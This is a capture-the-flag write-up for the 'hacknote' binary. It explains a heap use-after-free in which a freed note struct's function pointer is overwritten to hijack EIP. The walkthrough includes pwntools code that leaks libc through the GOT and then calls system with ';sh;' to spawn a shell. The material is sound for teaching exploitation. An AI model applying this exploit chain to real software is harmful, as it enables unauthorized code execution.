This challenge involves exploiting Use-After-Free vulnerability. The note structure in this challenge stores puts
function pointer besides the note content pointer. By properly allocating and free-ing memory, full control on EIP will be achieved.
Initial Analysis
The challenge provide 2 files, hacknote (the challenge binary) and libc_32.so.6 (the libc used in this challenge)
File Analysis
file hacknote
hacknote: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter ./ld-2.23.so, for GNU/Linux 2.6.32, BuildID[sha1]=a32de99816727a2ffa1fe5f4a324238b2d59a606, stripped
file libc_32.so.6
libc_32.so.6: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=d26149b8dc15c0c3ea8a5316583757f69b39e037, for GNU/Linux 2.6.32, stripped
Security Mitigations:
checksec --file ./hacknote
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8047000)
RUNPATH: b'.'
Key Findings
- The challenge file has no PIE, the address stays the same
- The challenge file was stripped, reversing and debugging will be hard
Initial Interactions
The program basically has 3 features.
- Add note
- Delete note
- Print note
The add note feature has overflow mitigation, the user only allowed to put in content as much as given size.
Reversing
note the functions and variables name was already changed beforehand to make this writeup smaller
Main function
not much interesting on the main function, it basically read 4 input and function atoi
converts the input into integer. Then the program will check which function to call.
Add Note function
To summarise:
- The function will check if the number of notes added is < 6
- malloc(8), first 4 bytes for
puts
function and next 4 bytes for the note content - malloc(size), this allocated space is for the note’s content
From this function, the note structure will be as below:
struct Note {
puts_function_pointer;
note_content_pointer;
}
To visualize:
In GDB:
Delete Note Function
To summarize:
- The note content space will be freed
- The first 8 bytes which contains puts_function pointer and notes_content pointer also freed
Print Note Function
To summarize:
- The function will take the address of puts_function in note object and call it.
- After the free, the space are not zero’ed out, and it can still be printed.
Attack Stratergy
- The note index tracker are not reset after a note being deleted.
- The deleted note still can be printed.
- Use After Free vulnerability can be weaponize
- Control EIP by using free’ed puts_function space via UAF
Vulnerability Testing
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :1
Note size :16
Content :AAAA
Success !
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :1
Note size :16
Content :BBBB
Success !
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :2
Index :1
Success
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :2
Index :0
Success
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :1
Note size :8
Content :ZZZZ
Success !
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :3
Index :1
Segmentation fault (core dumped)
[ 4406.847536] hacknote[4515]: segfault at 5a5a5a5a ip 000000005a5a5a5a sp 00000000ff8b1aec error 14 in libc_32.so.6[ea387000+1ad000] likely on CPU 0 (core 0, socket 0)
Got control on the EIP.
Explanation
To explain this I will be using GDB and a bit of drawing
- Add note with size 16 and content AAAA
- Add another note with size 16 and content BBBB
Next
- Free note 1
- Free note 0
As of now, there are 4 available fastbins
0x10: 0x804b000 —▸ 0x804b028 ◂— 0
0x18: 0x804b010 —▸ 0x804b038 ◂— 0
2 size 16 fastbins and 2 size 24
The size 16 fastbins came from malloc(8) which are the puts_function + note_content space
The size 24 fastbins came from the malloc(16) which are the contents for notes 0 and 1
Next add a note with size 8.
The new allocated space for new note content uses note 1
’s puts_function + note_content space. This causes the print note function to note 1
results in calling ZZZZ
.
Exploitation Phase
Leaking Libc Base Address
Now that calling the Print Note function will basically call puts
and the address after it will be the argument, we can make the program print out Libc addresses.
From previous section, we can weaponize the technique and put in puts_function
address and any libc function GOT as argument.
# allocate 1 note with size 8, now the puts pointer for note 1 will be allocated for our content
puts_function = 0x0804862b
addnote(b'8', p32(0x0804862b) + p32(elf.got['printf']))
# print the leaked libc
printnote(b'1')
leak = unpack(io.recv(4))
info(f'Leaked: {hex(leak)}')
libc.address = leak - libc.sym['printf']
info(f'Libc Base: {hex(libc.address)}')
system = libc.sym['system']
info(f'System: {hex(system)}')
Calling System
After obtaining the libc base address, now we can give the system address for print note
function to call and set sh
string as argument.
delnote(b'2')
addnote(b'8', p32(system)+b';sh;')
printnote(b'1')
Now we managed to solve the challenge! Thanks for reading.